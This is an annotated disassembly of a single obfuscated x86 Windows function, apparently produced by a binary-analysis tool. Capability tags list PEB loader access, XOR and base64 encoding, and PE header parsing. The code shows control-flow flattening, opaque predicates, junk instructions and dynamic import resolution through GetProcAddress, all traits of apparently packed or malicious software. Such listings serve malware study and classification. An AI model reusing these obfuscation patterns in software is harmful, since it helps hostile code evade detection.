Function at 0x4014f0
Capabilities:
Access peb ldr_data
Authenticate hmac
Check os version
Create thread
Encode data using base64
Encode data using xor
Get number of processors
Get process filename
Hash data using murmur3
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1e0
mov eax, dword [0x45c640]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, 0xc279b338
jmp 0x401610
mov eax, dword [ebp - 0x74]
cmp byte [eax], 0
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
setne byte [ebp - 0x8c]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x78047041
mov edx, eax
and edx, 0x10b0186
and eax, 0x434d6b67
or esi, edx
mov edx, ecx
and edx, 0x86f08e38
and ecx, 0xbcb29498
xor esi, 0x78047041
or eax, ecx
or edx, esi
mov esi, edx
not esi
and edx, 0x845fd710
and esi, 0x7ba028ef
or edx, esi
mov esi, edx
xor esi, 0x41402246
xor edx, 0x2af5929
mov edi, edx
and edi, 0xbcb29498
and esi, 0x434d6b67
or esi, edi
xor eax, esi
mov esi, 0xb612cac2
not eax
or eax, edx
xor eax, 0xffffffff
setne cl
sete dl
cmp dword [0x45d978], 0xa
setl al
setge ch
mov ah, al
and ch, dl
and ah, cl
xor cl, al
or al, dl
mov edx, ecx
or ah, ch
xor dl, al
or al, cl
xor al, 1
or al, dl
mov dl, ah
xor dl, 1
mov ecx, edx
mov ch, dl
or dl, al
and cl, ah
xor ch, cl
xor cl, 1
or cl, ah
xor cl, 1
or cl, ch
mov ah, cl
xor ah, 1
and ah, al
xor al, 1
and cl, al
mov al, dl
or cl, ah
xor al, cl
test al, 1
mov eax, 0x362a7ce0
cmovne eax, esi
test dl, dl
mov edx, 0x362a7ce0
cmovne edx, eax
test cl, 1
cmove edx, eax
mov eax, edx
nop dword [eax + eax]
cmp eax, 0xf5d5432b
jg 0x401680
cmp eax, 0xbb941882
jle 0x401700
cmp eax, 0xde37856f
jle 0x4018e0
cmp eax, 0xea1460d3
jle 0x401b65
cmp eax, 0xf0c364ca
jg 0x402467
cmp eax, 0xee6e3af0
jg 0x402d70
cmp eax, 0xeaf604b7
jle 0x4044f0
cmp eax, 0xeaf604b8
je 0x4073b2
cmp eax, 0xebac970d
je 0x4073bc
cmp eax, 0xed4811a9
jne 0x401610
mov eax, 0xa178627
jmp 0x401610
cmp eax, 0x37bf8088
jle 0x401770
cmp eax, 0x5a5d6434
jle 0x40193a
cmp eax, 0x6ad9bb50
jle 0x401c8c
cmp eax, 0x7221028c
jg 0x4024a8
cmp eax, 0x6db29eea
jg 0x402e59
cmp eax, 0x6c8bb391
jle 0x404534
cmp eax, 0x6c8bb392
je 0x4073d1
cmp eax, 0x6cb139c6
je 0x407415
cmp eax, 0x6cc095cd
jne 0x401610
mov eax, dword [ebp - 0x170]
movzx eax, word [eax + 2]
mov word [ebp - 0xf2], ax
mov eax, 0x33e764eb
jmp 0x401610
cmp eax, 0x993f6948
jg 0x40199a
cmp eax, 0x8bb38831
jg 0x401ce3
cmp eax, 0x84429ab3
jg 0x402612
cmp eax, 0x80def803
jg 0x402e8f
cmp eax, 0x802b80e0
jle 0x404621
cmp eax, 0x802b80e1
je 0x40742d
cmp eax, 0x80617570
je 0x407443
cmp eax, 0x80cacbe1
jne 0x401610
mov eax, 0x2704cb08
jmp 0x401610
cmp eax, 0x18d707b3
jg 0x401b06
cmp eax, 0x688c7ba
jg 0x401e8a
cmp eax, 0xfe7178ee
jle 0x4026b1
cmp eax, 0x3493731
jg 0x402f97
cmp eax, 0xff3ba33f
jle 0x4046f2
cmp eax, 0xff3ba340
je 0x40744d
cmp eax, 0xc3b840
je 0x407457
cmp eax, 0x1852767
jne 0x401610
mov eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x108]
cmp ecx, dword [eax + 0x34]
mov ecx, dword [0x45d97c]
lea eax, [ecx + 1]
setne byte [ebp - 0x83]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x10200820
mov esi, ecx
and esi, 0xa1951191
and ecx, 0x8010c497
or edx, esi
mov esi, edx
xor esi, 0x200000
xor edx, 0xefdff7df
mov edi, edx
and edi, 0x9e0b6eeb
and esi, 0x21b41110
or esi, edi
mov edi, eax
xor edi, 0xb1b519b1
and edi, eax
and eax, 0x7fef3b68
mov ebx, edi
not ebx
and edi, 0x61f49114
or eax, ecx
or edx, ebx
and ebx, 0x9e0b6eeb
xor eax, 0x7fef3b68
or edi, ebx
not edx
xor edi, esi
or edx, edi
mov edi, 0xe8cf0e6d
mov esi, edx
not esi
and edx, 0x609f95f0
and esi, 0x9f606a0f
or edx, esi
mov esi, edx
xor esi, 0xd10a8c40
xor edx, 0x4007219
and edx, 0x4207219
and esi, 0xfbdf8de6
or esi, edx
xor esi, 0xfbdf8de6
or eax, esi
mov esi, 0xfa701843
xor eax, 0xffffffff
sete ah
setne al
cmp dword [0x45d978], 0xa
setge cl
setl ch
mov edx, ecx
or cl, al
xor dl, al
xor al, ch
and dl, ah
not al
mov ah, dl
and al, ch
xor dl, al
xor ah, 1
xor al, 1
or al, ah
xor al, 1
or al, dl
mov edx, ecx
xor al, 1
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xe8cf0e6d
jmp 0x406d23
cmp eax, 0xcd5d00b1
jg 0x40209a
cmp eax, 0xc23289a1
jle 0x40276e
cmp eax, 0xc806746b
jg 0x402fcd
cmp eax, 0xc3258ec1
jle 0x404712
cmp eax, 0xc3258ec2
je 0x407464
cmp eax, 0xc40f9ac7
je 0x40746e
cmp eax, 0xc52ae381
jne 0x401610
mov eax, dword [ebp - 0x40]
mov eax, 0x84a8e094
jmp 0x401610
cmp eax, 0x4c089dd4
jg 0x402279
cmp eax, 0x4246659a
jle 0x402859
cmp eax, 0x470bde73
jg 0x40300e
cmp eax, 0x44fc0a75
jle 0x4047e6
cmp eax, 0x44fc0a76
je 0x407487
cmp eax, 0x4567ac43
je 0x4074a5
cmp eax, 0x4635579f
jne 0x401610
mov eax, dword [ebp - 0x54]
mov dword [eax], 2
mov eax, 0x54a9b3ff
jmp 0x401610
cmp eax, 0xab0b6b12
jg 0x4023c0
cmp eax, 0xa1800844
jle 0x40289a
cmp eax, 0xa70c118f
jg 0x4031da
cmp eax, 0xa2b93c14
jle 0x404815
cmp eax, 0xa2b93c15
je 0x40773d
cmp eax, 0xa52f18ea
je 0x407747
cmp eax, 0xa5f71db5
jne 0x401610
mov eax, dword [ebp - 0x128]
mov ecx, dword [ebp - 0x70]
add eax, 2
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x50]
mov dword [ecx], eax
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xc63c2cb8
and eax, 0x39c3d347
or ecx, eax
mov edx, ecx
mov esi, ecx
xor edx, 0x80080410
xor esi, 0x39c3d347
xor ecx, 0x46000c00
mov eax, esi
or eax, 1
and esi, 0x56f43beb
and edx, 0xa90bc414
and ecx, 0x7f42ce40
or edx, esi
mov esi, eax
and esi, 0x80bd31be
or ecx, esi
mov esi, edx
xor esi, 0x2902c401
xor edx, 0x56f43bea
or eax, edx
and edx, 0x80bd31be
and esi, 0x7f42ce41
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0x74fe23b
mov ecx, eax
not ecx
and eax, 0x40559975
and ecx, 0xbfaa668a
or eax, ecx
mov ecx, eax
xor ecx, 0x541975
xor eax, 0x9d2a2408
and eax, 0xdd2ba408
and ecx, 0x22d45bf7
or ecx, eax
xor ecx, 0xdd2ba408
sete dl
setne ah
cmp dword [0x45d978], 0xa
setge cl
setl ch
mov al, cl
and ch, ah
xor al, ah
mov ah, cl
xor ah, dl
and ah, cl
and cl, dl
or cl, ch
xor ah, 1
xor cl, 1
mov dl, ah
xor dl, cl
or cl, ah
xor cl, 1
or cl, dl
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x4d8ff7d9
cmovne ecx, esi
test al, al
mov eax, 0x4d8ff7d9
jmp 0x406e75
cmp eax, 0x2de0e7f0
jg 0x40241b
cmp eax, 0x251eedcb
jle 0x4028de
cmp eax, 0x2704cb07
jg 0x403227
cmp eax, 0x2631005d
jle 0x404918
cmp eax, 0x2631005e
je 0x407762
cmp eax, 0x269420fc
je 0x407793
cmp eax, 0x26e9bda8
jne 0x401610
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov dword [ebp - 0x78], eax
mov eax, 0xf952676a
jmp 0x401610
cmp eax, 0xe0f6ebfd
jle 0x402928
cmp eax, 0xe6a85369
jg 0x403271
cmp eax, 0xe5b72df6
jle 0x404938
cmp eax, 0xe5b72df7
je 0x4077c8
cmp eax, 0xe63abd05
je 0x4078f1
cmp eax, 0xe64a2361
jne 0x401610
mov eax, dword [ebp - 0x20]
mov dword [eax], 5
mov ecx, dword [0x45d97c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
mov edx, eax
or edx, 0x11d909
not ecx
and eax, 0xc5040202
mov esi, ecx
and edx, 0x1013d989
and esi, 0x2ae82474
or esi, edx
mov edx, ecx
or edx, 0x10020080
and edx, 0x1013d989
or eax, edx
xor eax, esi
mov edx, eax
not edx
and eax, 0xe9649c77
and edx, 0x169b6388
or eax, edx
xor eax, 0x2c71477d
or eax, ecx
xor eax, 0xffffffff
setne ch
sete dl
cmp dword [0x45d978], 0xa
mov dh, ch
setl cl
setge ah
inc dh
mov al, cl
and ch, cl
or cl, dl
xor al, dh
or dh, ah
xor cl, 1
and al, ah
and ah, dl
or ah, ch
xor al, 1
or cl, ah
mov ebx, eax
or al, dh
mov ah, cl
xor bl, dh
xor al, 1
xor ah, 1
or al, bl
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
mov ecx, eax
xor dl, 1
or dl, ah
xor cl, dl
or dl, al
mov eax, 0xc3258ec2
xor dl, 1
or dl, cl
mov ch, dl
xor ch, cl
test dl, 1
mov edx, 0x56ff3fa2
cmovne eax, edx
test cl, 1
cmove eax, edx
test ch, 1
mov edx, 0xc3258ec2
cmove eax, edx
jmp 0x401610
cmp eax, 0x614f64b8
jle 0x402969
cmp eax, 0x675d7c25
jg 0x4032b8
cmp eax, 0x63a6d7dd
jle 0x404963
cmp eax, 0x63a6d7de
je 0x40790a
cmp eax, 0x644292c5
je 0x40791d
cmp eax, 0x64a077f9
jne 0x401610
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x1cc]
mov dword [eax], ecx
mov eax, 0x28ca5f48
jmp 0x401610
cmp eax, 0x8ed488eb
jle 0x4029b3
cmp eax, 0x9335fc36
jg 0x403394
cmp eax, 0x9035f7cc
jle 0x404a2b
cmp eax, 0x9035f7cd
je 0x407aa0
cmp eax, 0x91dcc657
je 0x408071
cmp eax, 0x9297986f
jne 0x401610
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
add eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
mov dword [ecx], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xac]
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x42244901
mov edx, eax
and edx, 0x90004c
and eax, 0xbd4bb6b2
or ecx, edx
xor ecx, 0x42244901
or eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xeb2ff66c
and eax, 0x8279bc76
and edx, 0x14d00993
or ecx, edx
mov edx, ecx
xor edx, 0xeb2ff66c
xor ecx, 0x14000980
mov esi, edx
and esi, 0x7d864389
or edx, 1
and ecx, 0x3724efe4
or eax, esi
mov esi, eax
not esi
and eax, 0xf5a0b392
and esi, 0xa5f4c6d
or eax, esi
mov esi, eax
xor esi, 0x24e000
xor eax, 0x77d90fe5
mov edi, eax
or eax, edx
and edx, 0xc8db101a
and edi, 0xc8db101a
and esi, 0x3724efe5
or esi, edi
or ecx, edx
not eax
xor ecx, esi
mov esi, 0xda1bd3a9
or eax, ecx
mov ecx, eax
xor ecx, 0xf4130b41
and ecx, eax
not eax
and eax, 0xf4130b41
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x6989bb99
and eax, 0x96764466
or ecx, eax
mov eax, ecx
xor eax, 0x9d1090d0
xor ecx, 0x40444802
and eax, 0xbf3197f5
and ecx, 0x40ce680a
or ecx, eax
xor ecx, 0x40ce680a
setne dl
sete ah
cmp dword [0x45d978], 0xa
setge cl
setl ch
mov al, cl
and ch, dl
and cl, ah
xor al, ah
or cl, ch
and al, ah
mov edx, eax
mov ah, al
xor dl, 1
and dl, cl
xor cl, 1
xor ah, cl
and cl, al
and ah, al
or cl, dl
mov edx, 0xf0c364cb
mov al, ah
xor al, cl
cmovne edx, esi
test cl, cl
mov ecx, edx
cmovne ecx, esi
test ah, ah
cmove ecx, edx
mov eax, ecx
jmp 0x401610
cmp eax, 0x10cf87cb
jle 0x402ad9
cmp eax, 0x1406c915
jg 0x4033ca
cmp eax, 0x11c5789f
jle 0x404a4b
cmp eax, 0x11c578a0
je 0x408084
cmp eax, 0x11cf53f9
je 0x4081d7
cmp eax, 0x12caaaaf
jne 0x401610
sbb esi, 0x7f
or edi, 0x74
bswap edi
rol eax, 0xe0
dec esi
mov eax, 0xde
bswap edx
mov esi, 0x25
bswap eax
not eax
neg eax
sub edx, 0x8d
rcr esi, 0xf
not edx
not ebx
and esi, 0x53
imul eax
mov eax, 0x71
rol edi, 0x2b
sbb esi, 0xd5
imul eax
sub ebx, 0x6e
and ebx, 0x9e
not esi
imul edi
rcl edx, 0xe1
and edx, 0xf1
sub esi, 0xe3
add esi, 0x9a
add edx, 0xb7
imul esi
imul edx
rcr eax, 0xbd
inc eax
inc eax
add esi, 0xbe
sub edx, 0x8e
not edi
dec edx
imul eax
rcl edi, 0x8c
and edi, 0x13
dec edx
imul ebx
rcr edi, 0xf8
mov edi, 0x90
or ebx, 0x97
ror edi, 0x61
rcl ebx, 0x47
rcr eax, 0x30
not edi
neg edx
not edx
ror edx, 0xf9
neg esi
rcr edi, 0x9f
neg edi
neg esi
imul edi
imul edx
not ebx
imul eax
add ebx, 0x80
not ebx
neg eax
bswap edi
sbb edx, 0x93
inc edx
bswap eax
rcl esi, 0x33
dec edi
mov edi, 0x35
neg esi
not ebx
mov eax, 0x7d
inc eax
rcr edi, 0x89
ror edx, 0x2a
add edx, 0x6a
rcl edi, 0x6e
imul eax
inc edi
neg ebx
and esi, 0x5a
inc esi
bswap edi
rol edi, 0x4e
not edi
rcl eax, 0x6a
imul ebx
inc edi
imul edi
or eax, 0xc7
imul ebx
bswap esi
add ebx, 0x49
mov edx, 0x25
mov edi, 0xcb
dec ebx
sub eax, 0xa6
imul eax
sub edx, 0x56
mov ebx, 0xe
not edx
and ebx, 6
imul ebx
dec esi
bswap edi
add esi, 0xd1
bswap edi
rol esi, 0x99
mov eax, 3
sbb eax, 0x53
bswap eax
neg edx
not eax
neg esi
dec esi
sbb edx, 0xfb
inc eax
rcl edx, 0x6a
inc edx
neg eax
not edi
rcl edi, 0xa8
add eax, 0xb1
or ebx, 0xe4
bswap eax
not eax
sbb edx, 0x45
not edi
inc eax
imul ebx
and esi, 0x2b
rol ebx, 0x4e
dec ebx
mov ebx, 0
or edi, 0x6a
bswap esi
not edi
dec edi
sbb edi, 0x33
ror esi, 0x59
rol eax, 0x19
and esi, 0xf4
mov eax, 0x2d
or esi, 0x62
neg eax
rol esi, 0x64
neg edi
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov dword [eax], 0
mov eax, 0x4567ac43
jmp 0x401610
cmp eax, 0xd4f553a9
jle 0x402b1d
cmp eax, 0xd94325d4
jg 0x4034fa
cmp eax, 0xd8b8d98c
jle 0x404d03
cmp eax, 0xd8b8d98d
je 0x4081e1
cmp eax, 0xd90ec8d3
je 0x408342
cmp eax, 0xd916dd81
jne 0x401610
mov eax, dword [0x45d97c]
lea edi, [eax + 1]
imul edi, eax
mov esi, edi
not esi
mov eax, edi
and eax, 0x57fdfebf
or edi, 0xf69153
mov edx, esi
and edx, 0xa8020140
and esi, 0x75002c2c
or edx, eax
mov ecx, edx
mov ebx, edx
xor ecx, 0xa8020140
xor ebx, 0x570b6fec
xor edx, 0x102cca14
and ebx, ecx
and edx, 0x102ccb54
mov eax, ebx
not eax
and ebx, 0x75542d7e
mov dword [ebp - 0xa4], eax
and dword [ebp - 0xa4], 0x8aabd281
or eax, edi
and edi, 0x8aabd281
add ebx, dword [ebp - 0xa4]
or esi, edi
not eax
mov edi, ecx
and edi, 0xefd334ab
and ecx, 1
or edi, edx
mov edx, edi
xor edx, 0x102ccb55
xor edi, 0xc9d12480
or ecx, edx
and edi, 0xd9f16e80
xor esi, ebx
or eax, esi
mov esi, eax
not esi
and eax, 0xd2e779ea
and esi, 0x2d188615
or eax, esi
mov esi, eax
xor esi, 0xd0116880
xor eax, 0x2dee1747
mov edx, eax
or eax, ecx
and ecx, 0x260e917f
and edx, 0x260e917f
and esi, 0xd9f16e80
or esi, edx
or edi, ecx
not eax
xor edi, esi
mov esi, 0xdeeff277
or eax, edi
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x10000001
and eax, 0xfd997fa
and ecx, 0xe0266804
or edx, ecx
xor edx, 0x10000001
or eax, edx
mov ecx, eax
not ecx
and eax, 0xcf590016
and ecx, 0x30a6ffe9
or eax, ecx
mov ecx, eax
xor ecx, 0x1430002
xor eax, 0xc08097ec
mov edx, eax
and edx, 0xfebcfc91
and ecx, 0x143036e
or ecx, edx
xor ecx, 0xfebcfc91
xor eax, ecx
test eax, ecx
setne dl
sete al
cmp dword [0x45d978], 0xa
mov dh, dl
setl ah
setge ch
mov cl, ah
and dh, ch
or dl, ah
and cl, al
xor al, ah
and al, ah
or cl, dh
xor al, 1
xor cl, 1
mov ah, al
or al, dl
or cl, ch
xor ah, dl
xor al, 1
or al, ah
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ch, cl
xor ch, dl
and dl, cl
and ch, cl
or dl, al
mov eax, 0xc1a7ca44
mov cl, ch
xor cl, dl
test dl, 1
mov edx, 0xc1a7ca44
cmovne eax, esi
test ch, 1
jmp 0x408334
cmp eax, 0x53a4e47a
jle 0x402c5b
cmp eax, 0x55e0323d
jg 0x403704
cmp eax, 0x54a9b3fe
jle 0x404d23
cmp eax, 0x54a9b3ff
je 0x408452
cmp eax, 0x54c45f91
je 0x408567
cmp eax, 0x54cde3de
jne 0x401610
mov eax, dword [0x45d97c]
mov esi, 0x80def804
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
and edx, 0xddf1cc26
and ecx, 0x220e33d9
or ecx, edx
mov eax, ecx
xor ecx, 0x200610d8
xor eax, 0xddf1cc26
mov edx, eax
and ecx, 0x691614d8
and eax, 0x96e9eb27
and edx, 0xfffffffe
or eax, ecx
xor eax, 0x96e9eb26
or eax, edx
mov ecx, eax
not ecx
and eax, 0x6f9f78dc
and ecx, 0x90608723
or eax, ecx
mov ecx, eax
xor ecx, 0x78b081c
xor eax, 0x80408121
and eax, 0xe854f1e1
and ecx, 0x17ab0e1e
or ecx, eax
mov eax, ecx
xor eax, 0x405101
xor ecx, 0x17ab0e1e
mov edx, ecx
and edx, 0xfa17aae0
and eax, 0x5e8551f
or eax, edx
xor eax, 0xfa17aae0
xor ecx, eax
test ecx, eax
setne dl
sete ah
cmp dword [0x45d978], 0xa
setge al
setl ch
mov cl, al
and ch, dl
and al, ah
xor cl, ah
or al, ch
and cl, ah
mov ch, al
mov ah, cl
xor ch, 1
mov dh, cl
not ah
mov dl, ch
and ah, cl
and dl, al
xor dl, 1
xor ah, 1
or dl, al
xor dh, ah
or ah, cl
xor ah, 1
xor dl, 1
or ah, dh
or dl, ch
xor dl, ah
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x11cf53f9
cmovne ecx, esi
test al, al
mov eax, 0x11cf53f9
jmp 0x409e04
cmp eax, 0xb5f10a66
jle 0x402cdf
cmp eax, 0xb9c9fb98
jg 0x403775
cmp eax, 0xb7ef0fed
jle 0x404dee
cmp eax, 0xb7ef0fee
je 0x408580
cmp eax, 0xb96f1740
je 0x4085a4
cmp eax, 0xb98c0165
jne 0x401610
cmp byte [ebp - 0x83], 0
mov eax, 0x4ff5776
mov ecx, 0xcbfbc6bf
cmovne eax, ecx
jmp 0x401610
cmp eax, 0x3148430f
jle 0x402d20
cmp eax, 0x33e764ea
jg 0x4037ab
cmp eax, 0x32850e03
jle 0x404e11
cmp eax, 0x32850e04
je 0x4085ba
cmp eax, 0x32b7b613
je 0x4085d3
cmp eax, 0x332892bb
jne 0x401610
mov eax, 0xd1ceb710
jmp 0x401610
cmp eax, 0xf48cb2d6
jg 0x4037f0
cmp eax, 0xf21204f9
jle 0x404e31
cmp eax, 0xf21204fa
je 0x4085dd
cmp eax, 0xf21b17ae
je 0x4086f7
cmp eax, 0xf488fdc5
jne 0x401610
mov eax, 0xefee2f83
jmp 0x401610
cmp eax, 0x7827be17
jg 0x403831
cmp eax, 0x77af8513
jle 0x404e51
cmp eax, 0x77af8514
je 0x408704
cmp eax, 0x77b3b5fe
je 0x40872a
cmp eax, 0x77cddb50
jne 0x401610
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov dword [ebp - 0x184], eax
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x44418a82
mov esi, edx
and esi, 0x2ab03150
and edx, 0x43492ea6
or eax, esi
mov esi, eax
xor esi, 0x18282
xor eax, 0xbbbe757d
mov edi, eax
and edi, 0xf46c2954
and esi, 0xa919282
or esi, edi
mov edi, ecx
xor edi, 0x6ef1bbd2
and edi, ecx
and ecx, 0xbcb6d159
mov ebx, edi
not ebx
and edi, 0xb93d6ab
or ecx, edx
or eax, ebx
and ebx, 0xf46c2954
or edi, ebx
not eax
xor edi, esi
or eax, edi
mov esi, eax
not esi
and eax, 0x6ef1bbd3
and esi, 0x910e442c
or eax, esi
mov esi, eax
not esi
mov edx, eax
and edx, 0x60fc5629
and esi, 0x9f03a9d6
or esi, edx
mov edx, ecx
xor edx, 0x9c028150
xor ecx, 0x43492ea6
or eax, ecx
and ecx, 0x60fc5629
and edx, 0x9f03a9d6
or edx, ecx
not eax
xor edx, esi
mov esi, 0xa09706e6
or eax, edx
xor eax, 0xffffffff
setne ah
sete cl
cmp dword [0x45d978], 0xa
mov ch, ah
setl dl
setge al
or ch, dl
xor dl, ah
or cl, al
or al, ah
mov ah, dl
xor al, 1
xor ch, 1
xor cl, 1
xor ah, 1
or cl, ch
or al, ah
mov ah, dl
xor ah, al
or al, dl
mov edx, ecx
xor al, 1
or al, ah
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xd6ba8206
cmovne eax, esi
test dl, 1
mov edx, 0xd6ba8206
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401610
cmp eax, 0x874cb18f
jg 0x403a42
cmp eax, 0x84a8e093
jle 0x405c8b
cmp eax, 0x84a8e094
je 0x408734
cmp eax, 0x84d5e3b2
je 0x408885
cmp eax, 0x85aea0f2
jne 0x401610
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, eax
not ecx
mov esi, eax
mov edi, eax
xor edi, 0x7fffffff
and esi, 0x3ef27976
mov edx, ecx
and edx, 0x410d8689
and edi, eax
and ecx, 0xdc25dc55
and eax, 0x23da23aa
or esi, edx
or eax, ecx
xor esi, 0x3ef27976
mov ecx, eax
xor ecx, 0x23da23aa
xor eax, 0xdc25dc55
or edi, esi
andn ecx, edi, ecx
and eax, edi
not edi
or eax, ecx
not eax
or eax, edi
not eax
mov dword [ebp - 0x1e0], eax
mov eax, 0x8aa04cc5
jmp 0x401610
cmp eax, 0xf9526769
jle 0x403a7c
cmp eax, 0xfa58c7d3
jle 0x405cc7
cmp eax, 0xfa58c7d4
je 0x4088a5
cmp eax, 0xfa701843
je 0x408a1c
cmp eax, 0xfe01590e
jne 0x401610
mov ecx, dword [0x45d97c]
mov esi, 0x470bde74
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x9c1a9d58
and ecx, 0x63e562a6
or edx, ecx
mov ecx, eax
and ecx, 1
xor edx, 0x9c1a9d58
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
setne al
cmp dword [0x45d978], 0xa
setge cl
mov edx, ecx
or cl, al
xor dl, al
mov eax, ecx
mov ah, dl
not al
and dl, cl
xor ah, 1
and al, ah
or ah, cl
or al, dl
mov cl, ah
mov edx, 0x874cb190
xor cl, al
test ah, ah
cmovne edx, esi
test al, al
mov eax, 0x874cb190
cmove edx, esi
test cl, cl
jmp 0x401603
cmp eax, 0xc16f18c7
jle 0x403be4
cmp eax, 0xc1a7ca43
jle 0x405cf4
cmp eax, 0xc1a7ca44
je 0x408a32
cmp eax, 0xc1bb39c3
je 0x408a3c
cmp eax, 0xc1fb716a
jne 0x401610
mov ecx, dword [0x45d97c]
mov edi, 0x80617570
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x4d5178c8
mov edx, ecx
and edx, 0xb2ae8736
and ecx, 0xdd71815b
or esi, edx
mov edx, eax
xor edx, 0xfffffffe
and edx, eax
and eax, 0x228e7ea4
xor esi, 0x4d5178c8
or edx, esi
or eax, ecx
mov esi, 0x19cc1a90
not edx
xor eax, 0x228e7ea4
or eax, edx
mov ecx, eax
not ecx
and eax, 0xf1475330
and ecx, 0xeb8accf
or eax, ecx
xor eax, 0xf1475330
setne ah
sete dl
cmp dword [0x45d978], 0xa
setge ch
setl cl
mov al, ch
and cl, ah
xor al, dl
and dl, ch
xor al, 1
or cl, dl
or al, ch
mov edx, ecx
mov ah, al
xor dl, 1
and cl, al
not ah
or al, dl
and dl, ah
or dl, cl
mov ecx, edx
xor cl, al
test dl, dl
mov edx, 0x80617570
cmovne edx, esi
test al, al
cmovne edx, edi
test cl, 1
jmp 0x40490e
cmp eax, 0x3cca71bb
jle 0x403daa
cmp eax, 0x3d2a5061
jle 0x405d28
cmp eax, 0x3d2a5062
je 0x408b7b
cmp eax, 0x3f8bcab5
je 0x408b99
cmp eax, 0x40c84fc5
jne 0x401610
mov eax, 0x269420fc
jmp 0x401610
cmp eax, 0x9e9feb03
jle 0x403f84
cmp eax, 0x9f10aa7b
jle 0x405e31
cmp eax, 0x9f10aa7c
je 0x408bb7
cmp eax, 0x9f36b9ba
je 0x408bcc
cmp eax, 0xa09706e6
jne 0x401610
mov eax, dword [ebp - 0x2c]
mov eax, 0x77cddb50
jmp 0x401610
cmp eax, 0x20678a83
jle 0x403faf
cmp eax, 0x243092dd
jle 0x405e5c
cmp eax, 0x243092de
je 0x408d8d
cmp eax, 0x25005787
je 0x408d97
cmp eax, 0x251e6622
jne 0x401610
mov eax, dword [ebp - 0x20]
mov dword [eax], 7
mov eax, 0xe4aa90d
jmp 0x401610
cmp eax, 0xdeeff276
jle 0x403fda
cmp eax, 0xdf1302ac
jle 0x405e7c
cmp eax, 0xdf1302ad
je 0x408da1
cmp eax, 0xdff7c94d
je 0x408dc3
cmp eax, 0xe0cb6b50
jne 0x401610
mov eax, 0xfa58c7d4
jmp 0x401610
cmp eax, 0x5cc76db8
jle 0x404027
cmp eax, 0x605a1002
jle 0x405e9c
cmp eax, 0x605a1003
je 0x408dd9
cmp eax, 0x6065f9c6
je 0x408de3
cmp eax, 0x60bfa989
jne 0x401610
mov eax, dword [ebp - 0x54]
mov dword [eax], 0x40
mov eax, 0x7e0a9e9
jmp 0x401610
cmp eax, 0x8d22e4ef
jle 0x404135
cmp eax, 0x8dc694c7
jle 0x405ec5
cmp eax, 0x8dc694c8
je 0x408ded
cmp eax, 0x8e043888
je 0x408e00
cmp eax, 0x8e203780
jne 0x401610
mov eax, dword [ebp - 0x104]
mov ecx, dword [ebp - 0x100]
cmp ecx, dword [eax + 0x34]
mov ecx, dword [0x45d97c]
lea eax, [ecx + 1]
setne byte [ebp - 0x82]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xa57a8dd2
mov esi, edx
and esi, 0x5a85722c
and edx, 0xfe07a80d
or ecx, esi
mov esi, ecx
xor esi, 0xa0500d90
xor ecx, 0x5a85722d
mov edi, ecx
and edi, 0x1f2e9243
and esi, 0xe0d16dbc
or esi, edi
mov edi, eax
xor edi, 0xfffffffe
and edi, eax
and eax, 0x1f857f2
mov ebx, edi
not ebx
and edi, 0xe0d16dbc
or eax, edx
or ecx, ebx
and ebx, 0x1f2e9243
xor eax, 0x1f857f2
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov edi, 0x71e432ac
mov esi, ecx
not esi
and ecx, 0x7735351e
and esi, 0x88cacae1
or ecx, esi
mov esi, 0x71e432ac
xor ecx, 0x7735351e
or eax, ecx
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x45d978], 0xa
setl al
setge cl
and ah, cl
and al, dl
or al, ah
xor al, 1
or al, cl
xor cl, dl
mov edx, ecx
or cl, al
xor dl, al
mov eax, edx
xor al, cl
test al, 1
